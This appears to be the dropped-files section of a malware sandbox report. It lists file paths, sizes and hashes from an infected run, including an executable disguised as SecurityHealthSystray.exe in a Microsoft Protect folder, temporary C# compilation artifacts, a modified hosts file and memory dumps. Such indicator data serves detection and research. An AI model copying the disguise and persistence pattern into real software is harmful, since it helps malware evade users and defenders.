8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
89022269d28718ba5ae356fd75687156

SHA1
d4d4c87bc2a1e0459e9c142aaabfa27b082403f8

SHA256
c21b8cf18d6957c6edcfa3ba882c2d8be7d38f2751a54ff39299fff43d3ff9ec

SHA512
02387a7df0b5e980e0e35fde2c64e6d4e771de1bfad008c9217eebae197ff24ee7b61b2164905b11cd1047b8583c38d1a4b4d806fabc519342d60eb481885d5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESED00.tmp

Filesize
1KB

MD5
5d53f4b3e1772edf8a151e7bf1f707e4

SHA1
dc013540a9414683a5bfc2f92cc44f84f1af1011

SHA256
087bd66154d141973a4404bf18e0ca16e0e7a716ac108053699980a32ea6bfd0

SHA512
94da20fca8a21a28aa623b818cb217db5aa2aa459fba53ba49af16cbd3d8ce2145be7ec4433217c6932acc890fd7d8add35e3261b1a0cb10de8d900d4f987697

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5lvxklet.eir.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\deY7ks2Ly0\Display (1).png

Filesize
417KB

MD5
05b871a70b1e81d49d284832c9507da9

SHA1
2c7cf7f119cd2020970fc2a83f275bd43cd96639

SHA256
9a7f815ad5723be5b5beaef6c579842536f1fcefbf152b207df5bba0cac3c5d8

SHA512
1affbba1182f01dd6d95c056b756ee0e41f0b482f64bd311ac5a3213a9124820c18f8e8a30af9e3b6b7a9d0114fccb07c8515453e0d7c32393baf0c9e1b60c53

Download Submit
C:\Users\Admin\AppData\Local\Temp\e1gynkq4\e1gynkq4.dll

Filesize
4KB

MD5
2d4811f26636cdebe3416165b64027f9

SHA1
083ec45f4a7345e88033e4e5c814408640a8cdc5

SHA256
b2c24276c293fe59f8d1f1f9104137cd7905715c2cb92f426821628c2e815e81

SHA512
11b10771246ca2b0bb28476c9443173114ce85f0383157ea15eb029a86b4b56b529fd4a80c47f93e7237dc46f4f57b8f4b86d5b70f17950bb4eade9dcf39d9d5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

Filesize
9.5MB

MD5
597a6105e1f2eb7328628c448399be31

SHA1
09e36f5105da162d6ac45f300993c36373f56b48

SHA256
467e6fe502e9521964d793f5bd671ba3c026bcff287ccab7bbb18bbe0277a640

SHA512
7d48157ffc3f732f5391e9dba0df7fbaaa4eca3e2d80fb633274b9f6162819c489131d24a42c4b3e08125556d1905376c50a71fe0f1d96e1220bedd8aa33fdc0

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
2KB

MD5
6e2386469072b80f18d5722d07afdc0b

SHA1
032d13e364833d7276fcab8a5b2759e79182880f

SHA256
ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

SHA512
e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\e1gynkq4\CSC580485227BC549EE8A4FE8A8EC20C26B.TMP

Filesize
652B

MD5
762109b087803a31337927ca390ec11c

SHA1
fcd53f84be0d347f05eeea5241ea5ac596394bde

SHA256
8f697341f2d456b6bd1ed6170fffb30f8282b924b1e9cd78c3b12bde94a6b6f1

SHA512
94a0e5a0e7a304c0bf5b2fd76f8b3867eee8a8461dcc5bd0d844c467d550d16ffe6bf2b1a49ea75df16e6c7ab99e5bce2db6a7483cf4dda624c539dc7efb9b31

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\e1gynkq4\e1gynkq4.0.cs

Filesize
1004B

MD5
c76055a0388b713a1eabe16130684dc3

SHA1
ee11e84cf41d8a43340f7102e17660072906c402

SHA256
8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

SHA512
22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\e1gynkq4\e1gynkq4.cmdline

Filesize
607B

MD5
f1dc689724e3c93b88f8872161c29bfb

SHA1
c13d9e73af7c2ad913f79f95132c69f05e8412c5

SHA256
4945f68eeb9a80ddb94705aaa4d28d92bfb612a1b6e456b50280dcd4cd31fb64

SHA512
670f82d81b745e7fb07e0e3b251fd1a1be55e6d465718bf82bca62fec28ce9a43ac36fa9d05730399fa27f370e632530685594015f0c57cfc8d5dbd52166185f

Download Submit
memory/4000-54-0x0000016975010000-0x0000016975018000-memory.dmp

Filesize
32KB

Download
memory/4104-8-0x0000022C34EA0000-0x0000022C34EC2000-memory.dmp

Filesize
136KB

Download